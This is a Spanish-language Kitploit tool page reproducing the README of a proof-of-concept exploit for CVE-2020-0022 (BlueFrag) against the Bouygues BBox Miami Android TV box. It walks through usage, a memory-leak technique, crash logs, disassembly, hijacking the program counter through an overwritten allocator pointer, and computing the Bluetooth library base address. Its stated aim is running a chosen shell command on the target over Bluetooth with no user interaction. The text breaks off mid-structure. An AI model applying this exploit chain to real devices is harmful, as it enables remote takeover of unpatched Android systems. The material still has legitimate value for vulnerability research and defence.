Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2020-0022 — Explotación de la vulnerabilidad CVE-2020-0022 en Bouygues BBox Miami (Android TV 8.0 - ARM32 Cortex A9) | Kitploit
Herramientas/GitHubGitHub/polo35/cve-2020-0022
Seguridad AndroidSeguridad BluetoothForensia de MemoriaExplotaciónShellcodeHerramienta de Acceso RemotoDesarrollo de PayloadsExplotación de Binarios
GitHubpolo35/cve-2020-0022

CVE-2020-0022

Explotación de la vulnerabilidad CVE-2020-0022 en Bouygues BBox Miami (Android TV 8.0 - ARM32 Cortex A9)

Ver Repositorio
3713hace 5 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

########################################################################################

CVE-2020-0022 explotación de vulnerabilidad en Bouygues BBox Miami Android TV 8.0 - ARM32 Cortex A9 Por Polo35 - 2020/08/24

########################################################################################

"Uso: python polo_exploit.py target_bt_mac [target_adb_ip, shell_command, disable_reboot, verbose]"

########################################################################################

Basado en scripts de Jan Ruge CVE-2020-0022 un RCE Bluetooth Zero-Click en Android 8.0-9.0 – BlueFrag https://insinuator.net/2020/04/cve-2020-0022-an-android-8-0-9-0-bluetooth-zero-click-rce-bluefrag/

########################################################################################

INTRODUCCIÓN Y CONSEJOS

########################################################################################

El script usa el módulo bluetooth de python para obtener el manejador de conexión ACL Por lo tanto, necesitas instalar las librerías bluetooth y pybluez (versión 0.22 para python2 y última versión para python3)

sudo apt-get update sudo apt-get install bluetooth bluez libbluetooth-dev sudo pip install pybluez

Puedes pasar un comando de shell al script como parámetro que se ejecutará con la función system por el demonio bluetooth Solo hay 104 caracteres disponibles para el comando de shell porque la cadena ROP ocupa los primeros 20 bytes del segundo payload

Ejemplo: shell_command = "cat /dev/zero | echo 'Target Exploited' > /sdcard/Download/cve-2020-0022-poc"

El script puede usar adb para verificar la conexión, inspeccionar logcat y reiniciar el objetivo cuando sea necesario Para esto debes pasar la ip del objetivo como parámetro Asegúrate de conectar el objetivo con adb connect y abrir un shell para verificar la conexión antes de usar el script

Los mejores resultados se obtienen conectando el objetivo vía bluetooth con un smartphone cuando el script lo indique ;) Puede tomar más de 30 intentos para disparar el exploit, pero a veces funciona al primer intento

########################################################################################

FUGA DE MEMORIA CON ARM32

########################################################################################

El Bouygues BBox Miami está basado en un procesador ARM32 Cortex A9 de 32 bytes La diferencia con ARM64 es que la función memcpy de libc no subdesborda, por lo que es imposible obtener las mismas fugas que Jan Ruge Pero la vulnerabilidad está presente y es explotable de otra manera

Al enviar paquetes l2cap con fragmentación de 4 bytes podemos disparar un memcpy de longitud 0 en reassemble_and_dispatch Esto permite obtener 4 bytes de datos no inicializados al final del eco

Aumentar la longitud del primer paquete (denominado más adelante mem_offset) permite "caminar" por la memoria no inicializada Obtener 32 ecos con el mismo mem_offset da de 2 a 8 ecos explotables Los ecos se repiten, por lo que no es necesario obtener más de 32 ecos con el mismo mem_offset Este método también llena la memoria con los paquetes, por lo que es fácil reconocer patrones y encontrar desplazamientos en las fugas

El mem_offset es la longitud del paquete l2cap en caracteres Ej: mem_offset 184 = paquete l2cap de 184 caracteres = paquete l2cap de 368 bytes

Ejemplo de "caminata" de memoria y datos no inicializados con repeticiones:

176: 00000000 01000000 01000000 00000000 00000000 01000000 00000000 00000000 00000000 01000000 01000000 00000000 00000000 01000000 00000000 00000000 ................................................................ 177: 00000000 000000a4 00000024 00000000 00000000 000000a4 00000000 00000000 00000000 000000a4 00000024 00000000 00000000 000000a4 00000000 00000000 ...........$...............................$.................... 178: 00000000 0000a4ce 000024d2 00000000 00000000 0000a4d5 00000000 00000000 00000000 0000a4ce 000024d2 00000000 00000000 0000a4d5 00000000 00000000 ..........$...............................$..................... 179: 00000000 00a4ce80 0024d280 00000000 00000000 00a4d580 00000000 00000000 00000000 00a4ce80 0024d280 00000000 00000000 00a4d580 00000000 00000000 .........$...............................$...................... 180: 00000000 a4ce80a3 24d280a3 00000000 00000000 a4d580a3 00000000 00000000 00000000 a4ce80a3 24d280a3 00000000 00000000 a4d580a3 00000000 00000000 ........$...............................$....................... 181: 00000000 ce80a39c d280a31c 00000000 00000000 d580a39c 00000000 00000000 00000000 ce80a39c d280a31c 00000000 00000000 d580a39c 00000000 00000000 ................................................................ 182: 00000000 80a39cce 80a31cd2 00000000 00000000 80a39cd5 00000000 00000000 00000000 80a39cce 80a31cd2 00000000 00000000 80a39cd5 00000000 00000000 ................................................................ 183: 00000000 a39cce80 a31cd280 00000000 00000000 a39cd580 00000000 00000000 00000000 a39cce80 a31cd280 00000000 00000000 a39cd580 00000000 00000000 ................................................................ 184: 00000000 9cce80a3 1cd280a3 00000000 00000000 9cd580a3 00000000 00000000 00000000 9cce80a3 1cd280a3 00000000 00000000 9cd580a3 00000000 00000000 ................................................................ 185: 00000000 ce80a300 d280a300 00000000 00000000 d580a300 00000000 00000000 00000000 ce80a300 d280a300 00000000 00000000 d580a300 00000000 00000000 ................................................................ 186: 00000000 80a30000 80a30000 00000000 00000000 80a30000 00000000 00000000 00000000 80a30000 80a30000 00000000 00000000 80a30000 00000000 00000000 ................................................................ 187: 00000000 a3000000 a3000000 00000000 00000000 a3000000 00000000 00000000 00000000 a3000000 a3000000 00000000 00000000 a3000000 00000000 00000000 ................................................................ 188: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 ................................................................

Podemos ver en mem_offset 180 y 184 algunas direcciones de memoria en little endian

a4ce80a3 da dirección 0xa380cea4 24d280a3 da dirección 0xa380d224 a4d580a3 da dirección 0xa380d5a4 9cce80a3 da dirección 0xa380ce9c 1cd280a3 da dirección 0xa380d21c 9cd580a3 da dirección 0xa380d59c

Hay al menos 4 o 5 mem_offset donde es posible encontrar direcciones de memoria reales después de casi cada reinicio Veremos más adelante cómo podemos usarlas

########################################################################################

ANÁLISIS DEL PRIMERO CRASH

########################################################################################

Al enviar paquetes l2cap con fragmentación de 2 bytes podemos disparar un memcpy de longitud -2 en reassemble_and_dispatch Esto permite desbordar fuera del paquete parcial con 30 bytes de datos controlados del segundo paquete Debido a los 30 bytes copiados no es necesario enviar paquetes más grandes de 32 bytes con los últimos 4 bytes a cero

Este método de desbordamiento a veces hace crash al demonio bluetooth con el registro R0 controlado en _Z11list_appendP6list_tPv+65:

HCI: Found link transmit data buffer queue at 0xab90dbc4 HCI: Found SetDataAdvDataSender function at 0x91875b29 HCI: Found bte_hh_evt function at 0x91818429 HCI: Found bluetooth library base address at 0x917a0000 First payload: 0x00: 0xdead0000 | 0x04: 0xdead0001 | 0x08: 0xdead0002 | 0x0c: 0xdead0003 0x10: 0xdead0004 | 0x14: 0xdead0005 | 0x18: 0xdead0006 | 0x1c: 0xdead0007 Second payload: 0x00 : 0xab90db14: 0xdead0008 | 0xab90db18: 0xdead0009 | 0xab90db1c: 0xdead000a | 0xab90db20: 0xdead000b 0x10 : 0xab90db24: 0xdead000c | 0xab90db28: 0xdead000d | 0xab90db2c: 0xdead000e | 0xab90db30: 0xdead000f 0x20 : 0xab90db34: 0xdead0010 | 0xab90db38: 0xdead0011 | 0xab90db3c: 0xdead0012 | 0xab90db40: 0xdead0013 0x30 : 0xab90db44: 0xdead0014 | 0xab90db48: 0xdead0015 | 0xab90db4c: 0xdead0016 | 0xab90db50: 0xdead0017 0x40 : 0xab90db54: 0xdead0018 | 0xab90db58: 0xdead0019 | 0xab90db5c: 0xdead001a | 0xab90db60: 0xdead001b 0x50 : 0xab90db64: 0xdead001c | 0xab90db68: 0xdead001d | 0xab90db6c: 0xdead001e | 0xab90db70: 0xdead001f 0x60 : 0xab90db74: 0xdead0020 | 0xab90db78: 0xdead0021 | 0xab90db7c: 0xdead0022 | 0xab90db80: 0xdead0023 0x70 : 0xab90db84: 0xdead0024 | 0xab90db88: 0xdead0025 | 0xab90db8c: 0xdead0026 | 0xab90db90: 0xdead0027 0x80 : 0xab90db94: 0xdead0028 | 0xab90db98: 0xdead0029 | 0xab90db9c: 0xdead002a | 0xab90dba0: 0xdead002b 0x90 : 0xab90dba4: 0xdead002c | 0xab90dba8: 0xdead002d | 0xab90dbac: 0xdead002e | 0xab90dbb0: 0xdead002f 0xa0 : 0xab90dbb4: 0xdead0030 | 0xab90dbb8: 0xdead0031 | 0xab90dbbc: 0xdead0032 | 0xab90dbc0: 0xdead0033 0xb0 : 0xab90dbc4: 0xdead0034 | 0xab90dbc8: 0xdead0035 ADB: Found interesting crash !!! libc : Fatal signal 11 (SIGSEGV), code 1, fault addr 0xdead0003 in tid 3918 (bt_workqueue) DEBUG : *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** DEBUG : Build fingerprint: 'BouyguesTelecom/BouygtelTV/HMB4213H:8.0.0/CALIFORNIE/6.30.13:user/release-keys' DEBUG : Revision: '0' DEBUG : ABI: 'arm' DEBUG : pid: 3871, tid: 3918, name: bt_workqueue >>> com.android.bluetooth <<< DEBUG : signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0xdead0003 DEBUG : r0 dead0003 r1 90d13e00 r2 90d13e00 r3 00000000 DEBUG : r4 ab9059f8 r5 90d13e00 r6 00000000 r7 00000000 DEBUG : r8 00000000 r9 904df340 sl 904df338 fp 00000001 DEBUG : ip acf310ec sp 904defd8 lr 918a3131 pc 918c98e2 cpsr a00f0030 DEBUG : DEBUG : backtrace: DEBUG : #00 pc 001298e2 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z11list_appendP6list_tPv+65) DEBUG : #01 pc 0010312d /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z24l2c_link_check_send_pktsP12t_l2c_linkcbP9t_l2c_ccbP6BT_HDR+36) DEBUG : #02 pc 0010298f /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z22l2c_link_hci_conn_comphtPh+78) DEBUG : #03 pc 000e5371 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z22btu_hcif_process_eventhP6BT_HDR+440) DEBUG : #04 pc 000e6607 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z17btu_hci_msg_readyP13fixed_queue_tPv+42) DEBUG : #05 pc 001290df /system/vendor/lib/hw/bluetooth.marvellberlin.so (_ZL22internal_dequeue_readyPv+46) DEBUG : #06 pc 0012b535 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_ZL11run_reactorP9reactor_ti+216) DEBUG : #07 pc 0012b431 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z13reactor_startP9reactor_t+44) DEBUG : #08 pc 0012c729 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_ZL10run_threadPv+136) DEBUG : #09 pc 00047f17 /system/lib/libc.so (_ZL15__pthread_startPv+22) DEBUG : #10 pc 0001b1dd /system/lib/libc.so (__start_thread+32)

El desensamblado en 001298e2 da:

.text:0x1298E0 loc_1298E0 ; CODE XREF: list_append:loc_1298CA↑j .text:0x1298E0 LDR R0, [R4,#0x10] => Cargar R0 desde R4+0x10 .text:0x1298E2 LDR R1, [R0] => Cargar R1 desde R0 => Crash si no está controlado !!! .text:0x1298E4 MOVS R0, #8 => Poner 8 en R0 .text:0x1298E6 BLX R1 => Ramificar con enlace e intercambio a R1 => Ramificar a R1 controlado

La descompilación muestra que sobrescribimos la memoria en la dirección de R4+0x10, que es allocator en la llamada "node = list->allocator->alloc(8)":

signed int list_append(list_t *list_ptr, void *data_ptr) { list_t *list = list_ptr; // r4 ... list_node_t node = (list_node_t)list->allocator->alloc(sizeof(list_node_t)); <= list = r4 / allocator = offset 0x10 / alloc = r1 / 8 = r0 / CRASH !!! ... node->data = data_ptr; // r5 ... }

El demonio falló en LDR R1, [R0] con el registro R0 = dead0003 al intentar cargar la dirección Podemos controlar R0 con el primer payload + 0xC, así que si colocamos una dirección válida en él, podemos controlar R1 con LDR R1, [R0] y luego controlar PC con BLX R1

########################################################################################

CONTROLAR EL CONTADOR DE PROGRAMA MEDIANTE DESBORDAMIENTO DE DIRECCIÓN FUGADA

########################################################################################

Usando el método de desbordamiento con la primera dirección de memoria encontrada en mem_offset 180 permite mover el crash a una ramificación a un registro R1 controlado

HCI: Got ACL connection handle: 0xb
HCI: Getting link transmit data buffer queue pointer... HCI: Found link transmit data buffer queue at 0xa458dbc4 HCI: Getting bluetooth library function pointers... HCI: Found SetDataAdvDataSender function at 0x8a4a3b29 HCI: Found bluetooth library base address at 0x8a3ce000 Building the payloads... First payload: 0x00: 0xdead0000 | 0x04: 0xdead0001 | 0x08: 0xdead0002 | 0x0c: 0xa458dbc4 0x10: 0xdead0003 | 0x14: 0xdead0004 | 0x18: 0xdead0005 | 0x1c: 0xdead0006 Second payload: 0x00 : 0xa458dbc4: 0xdead0007 | 0xa458dbc8: 0xdead0008 | 0xa458dbcc: 0xdead0009 | 0xa458dbd0: 0xdead000a 0x10 : 0xa458dbd4: 0xdead000b | 0xa458dbd8: 0xdead000c | 0xa458dbdc: 0xdead000d | 0xa458dbe0: 0xdead000e 0x20 : 0xa458dbe4: 0xdead000f | 0xa458dbe8: 0xdead0010 | 0xa458dbec: 0xdead0011 | 0xa458dbf0: 0xdead0012 0x30 : 0xa458dbf4: 0xdead0013 | 0xa458dbf8: 0xdead0014 | 0xa458dbfc: 0xdead0015 | 0xa458dc00: 0xdead0016 0x40 : 0xa458dc04: 0xdead0017 | 0xa458dc08: 0xdead0018 | 0xa458dc0c: 0xdead0019 | 0xa458dc10: 0xdead001a 0x50 : 0xa458dc14: 0xdead001b | 0xa458dc18: 0xdead001c | 0xa458dc1c: 0xdead001d | 0xa458dc20: 0xdead001e 0x60 : 0xa458dc24: 0xdead001f | 0xa458dc28: 0xdead0020 | 0xa458dc2c: 0xdead0021 | 0xa458dc30: 0xdead0022 0x70 : 0xa458dc34: 0xdead0023 | 0xa458dc38: 0xdead0024 | 0xa458dc3c: 0xdead0025 | 0xa458dc40: 0xdead0026 0x80 : 0xa458dc44: 0xdead0027 | 0xa458dc48: 0xdead0028 | 0xa458dc4c: 0xdead0029 | 0xa458dc50: 0xdead002a 0x90 : 0xa458dc54: 0xdead002b | 0xa458dc58: 0xdead002c | 0xa458dc5c: 0xdead002d | 0xa458dc60: 0xdead002e 0xa0 : 0xa458dc64: 0xdead002f | 0xa458dc68: 0xdead0030 | 0xa458dc6c: 0xdead0031 | 0xa458dc70: 0xdead0032 0xb0 : 0xa458dc74: 0xdead0033 | 0xa458dc78: 0xdead0034 Prepare to connect to the target via bluetooth with your smartphone HCI: Spraying second payload at 0xa458dbc4 Connect to the target via bluetooth with your smartphone
HCI: Triggering the exploit with first payload... (1/3) ADB: Bluetooth deamon crashed (3/20)
ADB: Found interesting crash !!! 07-20 09:28:01.020 20972 21006 F libc : Fatal signal 11 (SIGSEGV), code 1, fault addr 0xdead0032 in tid 21006 (bt_workqueue) 07-20 09:28:01.123 21061 21061 F DEBUG : *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** 07-20 09:28:01.123 21061 21061 F DEBUG : Build fingerprint: 'BouyguesTelecom/BouygtelTV/HMB4213H:8.0.0/CALIFORNIE/6.30.13:user/release-keys' 07-20 09:28:01.123 21061 21061 F DEBUG : Revision: '0' 07-20 09:28:01.123 21061 21061 F DEBUG : ABI: 'arm' 07-20 09:28:01.123 21061 21061 F DEBUG : pid: 20972, tid: 21006, name: bt_workqueue >>> com.android.bluetooth <<< 07-20 09:28:01.123 21061 21061 F DEBUG : signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0xdead0032 07-20 09:28:01.123 21061 21061 F DEBUG : r0 00000008 r1 dead0033 r2 8970a200 r3 00000000 07-20 09:28:01.123 21061 21061 F DEBUG : r4 a4585c38 r5 8970a200 r6 00000000 r7 00000000 07-20 09:28:01.123 21061 21061 F DEBUG : r8 00000000 r9 891fd340 sl 891fd338 fp 00000001 07-20 09:28:01.124 21061 21061 F DEBUG : ip a66aa0ec sp 891fcfd8 lr 8a4f78e9 pc dead0032 cpsr 200f0030 07-20 09:28:01.228 21061 21061 F DEBUG : 07-20 09:28:01.228 21061 21061 F DEBUG : backtrace: 07-20 09:28:01.228 21061 21061 F DEBUG : #00 pc dead0032 07-20 09:28:01.229 21061 21061 F DEBUG : #01 pc 001298e7 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z11list_appendP6list_tPv+70) 07-20 09:28:01.229 21061 21061 F DEBUG : #02 pc 0010312d /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z24l2c_link_check_send_pktsP12t_l2c_linkcbP9t_l2c_ccbP6BT_HDR+36) 07-20 09:28:01.229 21061 21061 F DEBUG : #03 pc 0010298f /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z22l2c_link_hci_conn_comphtPh+78) 07-20 09:28:01.229 21061 21061 F DEBUG : #04 pc 000e5371 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z22btu_hcif_process_eventhP6BT_HDR+440) 07-20 09:28:01.229 21061 21061 F DEBUG : #05 pc 000e6607 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z17btu_hci_msg_readyP13fixed_queue_tPv+42) 07-20 09:28:01.229 21061 21061 F DEBUG : #06 pc 001290df /system/vendor/lib/hw/bluetooth.marvellberlin.so (_ZL22internal_dequeue_readyPv+46) 07-20 09:28:01.229 21061 21061 F DEBUG : #07 pc 0012b535 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_ZL11run_reactorP9reactor_ti+216) 07-20 09:28:01.229 21061 21061 F DEBUG : #08 pc 0012b431 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z13reactor_startP9reactor_t+44) 07-20 09:28:01.229 21061 21061 F DEBUG : #09 pc 0012c729 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_ZL10run_threadPv+136) 07-20 09:28:01.229 21061 21061 F DEBUG : #10 pc 00047f17 /system/lib/libc.so (_ZL15__pthread_startPv+22) 07-20 09:28:01.229 21061 21061 F DEBUG : #11 pc 0001b1dd /system/lib/libc.so (__start_thread+32)

El mismo desensamblado en 001298e7 da:

.text:0x1298E0 loc_1298E0 ; CODE XREF: list_append:loc_1298CA↑j .text:0x1298E0 LDR R0, [R4,#0x10] => Cargar R0 desde R4+0x10 .text:0x1298E2 LDR R1, [R0] => Cargar R1 desde R0 => Crash si no está controlado .text:0x1298E4 MOVS R0, #8 => Poner 8 en R0 .text:0x1298E6 BLX R1 => Ramificar con enlace e intercambio a R1 => Ramificar a R1 controlado !!! .text:0x1298E8 MOV R1, R0

El demonio ahora falló en BLX R1 con el registro R1 = dead0033 Este es el patrón enviado en paquetes fragmentados al obtener fugas en mem_offset 184 Este será el segundo payload con una dirección conocida en un desplazamiento de - 0xb0 desde la primera dirección de memoria encontrada en mem_offset 180

Ahora podemos controlar PC de la biblioteca bluetooth.marvellberlin.so, tenemos un segundo lugar en memoria con los datos y conocemos la dirección de este

Después de la señal, los registros contienen:

  • R0 = 0x8
  • R1 = segundo valor del payload + 0xb0
  • R4 = primera dirección del payload - 0x4

########################################################################################

OBTENER LA DIRECCIÓN BASE DE LA BIBLIOTECA BLUETOOTH

########################################################################################

Usando el método de fuga en mem_offset 28 podemos encontrar algunas direcciones de memoria:0026 : 00002954 74007400 74006600 58a9292b 74006600 74007400 72002e00 58a9292b 00002954 70007000 74007400 58a9292b 74006600 74007400 74006600 58a9292b : ..)Tt.t.t.f.X.)+t.f.t.t.r...X.)+..)Tp.p.t.t.X.)+t.f.t.t.t.f.X.)+ 0027 : 0029546c 00740066 002e0074 a9292b72 00660000 00700066 00740066 a9292b72 0029546c 00740066 00660066 a9292b72 00660000 00740066 002e0074 a9292b72 : .)Tl.t.f...t.)+r.f...p.f.t.f.)+r.)Tl.t.f.f.f.)+r.f...t.f...t.)+r 0028 : 29546c8f 70006600 74006600 292b728f 66000000 74006600 66006600 292b728f 29546c8f 74006600 2e007400 292b728f 66000000 70006600 74006600 292b728f : )Tl.p.f.t.f.)+r.f...t.f.f.f.)+r.)Tl.t.f...t.)+r.f...p.f.t.f.)+r. 0029 : 00660066 00660000 2b728f01 00000000 00660000 00740074 2b728f01 00660066 00660000 00660066 2b728f01 00000000 00660000 00660000 2b728f01 00740074 : .f.f.f..+r.......f...t.t+r...f.f.f...f.f+r.......f...f..+r...t.t 0030 : 66006600 66000000 728f0100 00000000 66000000 66006600 728f0100 74007400 66006600 66000000 728f0100 00000000 66000000 66000000 728f0100 74007400 : f.f.f...r.......f...f.f.r...t.t.f.f.f...r.......f...f...r...t.t.

Podemos ver las fugas 29546c8f y 292b728f que dan las direcciones 0x8f6c5429 y 0x8f722b29 en little endian.

Usando el método de desbordamiento con esas direcciones, el demonio falla en bluetooth.marvellberlin.so con el siguiente volcado de fallo:

libc : Fatal signal 11 (SIGSEGV), code 1, fault addr 0x10 in tid 4151 (bt_workqueue) DEBUG : *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** DEBUG : Build fingerprint: 'BouyguesTelecom/BouygtelTV/HMB4213H:8.0.0/CALIFORNIE/6.30.13:user/release-keys' DEBUG : Revision: '0' DEBUG : ABI: 'arm' DEBUG : pid: 4107, tid: 4151, name: bt_workqueue >>> com.android.bluetooth <<< DEBUG : signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0x10 DEBUG : Cause: null pointer dereference DEBUG : r0 00000008 r1 8c35db29 r2 8b006300 r3 00000020 DEBUG : r4 a6405578 r5 8b006300 r6 00000020 r7 ff183456 DEBUG : r8 a6405560 r9 00000006 sl 00000002 fp 8affef70 DEBUG : ip 00001e7e sp 8affef60 lr 8c3b18e9 pc 8c35db3c cpsr 200f0030 DEBUG : DEBUG : backtrace: DEBUG : #00 pc 000d5b3c /system/vendor/lib/hw/bluetooth.marvellberlin.so (ZN4base8internal7InvokerINS0_9BindStateIMN12_GLOBAL__N_125BleAdvertisingManagerImplEFvhhhhPhNS_8CallbackIFvhELNS0_8CopyModeE1EEEEJNS0_17UnretainedWrapperIS4_EEbEEEFvhhhS5_S9_EE3RunEPNS0_13BindStateBaseEOhSJ_SJ_OS5_OS9+19) DEBUG : #01 pc 001298e7 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z11list_appendP6list_tPv+70) DEBUG : #02 pc 0010312d /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z24l2c_link_check_send_pktsP12t_l2c_linkcbP9t_l2c_ccbP6BT_HDR+36) DEBUG : #03 pc 0010477f /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z16l2c_rcv_acl_dataP6BT_HDR+2190) DEBUG : #04 pc 001290df /system/vendor/lib/hw/bluetooth.marvellberlin.so (_ZL22internal_dequeue_readyPv+46) DEBUG : #05 pc 0012b535 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_ZL11run_reactorP9reactor_ti+216) DEBUG : #06 pc 0012b431 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z13reactor_startP9reactor_t+44) DEBUG : #07 pc 0012c729 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_ZL10run_threadPv+136) DEBUG : #08 pc 00047f17 /system/lib/libc.so (_ZL15__pthread_startPv+22) DEBUG : #09 pc 0001b1dd /system/lib/libc.so (__start_thread+32)

Aterrizamos en la sección .text de la librería bluetooth.marvellberlin.so en el offset 000d5b3c

.text:0x0D5B28 SetDataAdvDataSender ; DATA XREF: .text:0x0D2B82↑o .text:0x0D5B28 .text:0x0D5B28 PUSH.W {R4-R11,LR} .text:0x0D5B2C SUB SP, SP, #0x1C .text:0x0D5B2E LDR R7, =(off_1A2718 - 0xD5B38) .text:0x0D5B30 ADD.W R11, SP, #0x10 .text:0x0D5B34 ADD R7, PC ; off_1A2718 .text:0x0D5B36 LDR R7, [R7] .text:0x0D5B38 LDR R7, [R7] .text:0x0D5B3A STR R7, [SP,#0x1C-4] .text:0x0D5B3C LDRD.W R10, R7, [R0,#8]

El fallo está en 0xd5b3c justo después del inicio de una función, por lo que la dirección encontrada es un puntero a esta función. Esta función es SetDataAdvDataSender de la clase BleAdvertisingManagerImpl, utilizada como puntero en la función SetData del archivo btm_ble_multi_adv.cc.

void SetData(uint8_t inst_id, bool is_scan_rsp, std::vector<uint8_t> data, MultiAdvCb cb) override { ... DivideAndSendData(inst_id, data, cb, base::Bind(&BleAdvertisingManagerImpl::SetDataAdvDataSender, base::Unretained(this), is_scan_rsp)); }

Ahora tenemos la dirección de una ubicación fija en la librería bluetooth.marvellberlin.so y podemos calcular la dirección base de esta librería. El desplazamiento real a la dirección base de la librería es 0XD5B29 desde el puntero a la función SetDataAdvDataSender encontrado en mem_offset 28.

En el ejemplo anterior encontramos la función SetDataAdvDataSender en 0X8C35DB29 y desbordamos esta dirección. La dirección base de la librería bluetooth era 0X8C35DB29 - 0XD5B29 = 0X8C288000.

También encontramos un puntero a 0x8C300429 en la misma fuga en mem_offset 28. El desplazamiento entre las dos direcciones encontradas es 0x8C35DB29 - 0x8C300429 = 0x5D700. Sabemos que SetDataAdvDataSender está en 0xD5B28 en la librería bluetooth, por lo que podemos calcular la dirección del segundo puntero encontrado: 0xD5B28 - 0x5D700 = 0x78428. En 0x78428 de la librería bluetooth tenemos la función bte_hh_evt, que se usa en las funciones btif_hh_service_registration y btif_hh_execute_service del archivo btif_hh.cc.

void btif_hh_service_registration(bool enable) { ... BTA_HhEnable(BTA_SEC_ENCRYPT, bte_hh_evt); ... }

bt_status_t btif_hh_execute_service(bool b_enable) { ... BTA_HhEnable(BTUI_HH_SECURITY, bte_hh_evt); ... }

Las dos direcciones encontradas en mem_offset 28 siempre terminan con 0xB29 para la función SetDataAdvDataSender y 0x429 para la función bte_hh_evt. Con este método solo necesitamos una de las dos direcciones conocidas en la fuga para encontrar la dirección base de bluetooth.

Para resumir, podemos encontrar la dirección base de la librería bluetooth con:

  • Dirección de la función SetDataAdvDataSender encontrada, que termina con 0xB29 => Aplicar un desplazamiento de 0xD5B28
  • Dirección de la función bte_hh_evt encontrada, que termina con 0x429 => Aplicar un desplazamiento de 0x78429

########################################################################################

ANÁLISIS DEL FALLO CON CÓDIGO FUENTE DE ANDROID

########################################################################################

El código fuente de Android Oreo 8.1 muestra que sobrescribimos una parte del objeto cola de búfer de datos de transmisión de enlace p_lcb->link_xmit_data_q.

La función l2c_rcv_acl_data crea el objeto tL2C_LCB* p_lcb y lo pasa a la función l2c_link_check_send_pkts, que agrega el paquete a la cola de búfer link_xmit_data_q.

void l2c_rcv_acl_data(BT_HDR* p_msg) { ... tL2C_LCB* p_lcb; ... /* Find the LCB based on the handle / p_lcb = l2cu_find_lcb_by_handle(handle); ... / Send the data through the channel state machine */ if (rcv_cid == L2CAP_SIGNALLING_CID) { process_l2cap_cmd(p_lcb, p, l2cap_len); ... }

tL2C_LCB* l2cu_find_lcb_by_handle(uint16_t handle) { ... tL2C_LCB* p_lcb = &l2cb.lcb_pool[0];

for (xx = 0; xx < MAX_L2CAP_LINKS; xx++, p_lcb++) { if ((p_lcb->in_use) && (p_lcb->handle == handle)) { return (p_lcb); } } ... }

p_lcb se toma del objeto estático l2cb.lcb_pool[0] como se define en l2c_main.cc.

// / G L O B A L L 2 C A P D A T A / // tL2C_CB l2cb;

static void process_l2cap_cmd(tL2C_LCB* p_lcb, uint8_t* p, uint16_t pkt_len) { ... case L2CAP_CMD_ECHO_REQ: l2cu_send_peer_echo_rsp(p_lcb, id, p, cmd_len); ... }

void l2cu_send_peer_echo_rsp(tL2C_LCB* p_lcb, uint8_t id, uint8_t* p_data, uint16_t data_len) { ... p_buf = l2cu_build_header(p_lcb, (uint16_t)(L2CAP_ECHO_RSP_LEN + data_len), L2CAP_CMD_ECHO_RSP, id); ... l2c_link_check_send_pkts(p_lcb, NULL, p_buf); }

void l2c_link_check_send_pkts(tL2C_LCB* p_lcb, tL2C_CCB* p_ccb, BT_HDR* p_buf) { ... list_append(p_lcb->link_xmit_data_q, p_buf); ... }

bool list_append(list_t* list, void* data) { ... list_node_t* node = (list_node_t*)list->allocator->alloc(sizeof(list_node_t)); => Call to alloc replaced by our call (Only one parameter !!!) ... }

La definición de link_xmit_data_q en la estructura tL2C_LCB es:

/* Define a link control block. There is one link control block between

  • this device and any other device (i.e. BD ADDR). / typedef struct t_l2c_linkcb { ... list_t link_xmit_data_q; /* Cola de búfer de datos de transmisión de enlace */ | Tamaño 0x4 | Offset 0x44 ... } tL2C_LCB;

La definición de la estructura list_t es:

typedef struct list_t { list_node_t* head; | Tamaño 0x4 | Offset 0x0 list_node_t* tail; | Tamaño 0x4 | Offset 0x4 size_t length; | Tamaño 0x4 | Offset 0x8 list_free_cb free_cb; | Tamaño 0x4 | Offset 0xC const allocator_t* allocator; | Tamaño 0x4 | Offset 0x10 } list_t; | Tamaño 0x14

Con la estructura list_node_t:

struct list_node_t {
struct list_node_t* next; | Tamaño 0x4 | Offset 0x0 void* data; | Tamaño 0x4 | Offset 0x4 }; | Tamaño 0x8

Y la estructura allocator_t:

typedef struct {
alloc_fn alloc; | Tamaño 0x4 | Offset 0x0 free_fn free; | Tamaño 0x4 | Offset 0x4 } allocator_t; | Tamaño 0x8

typedef struct {
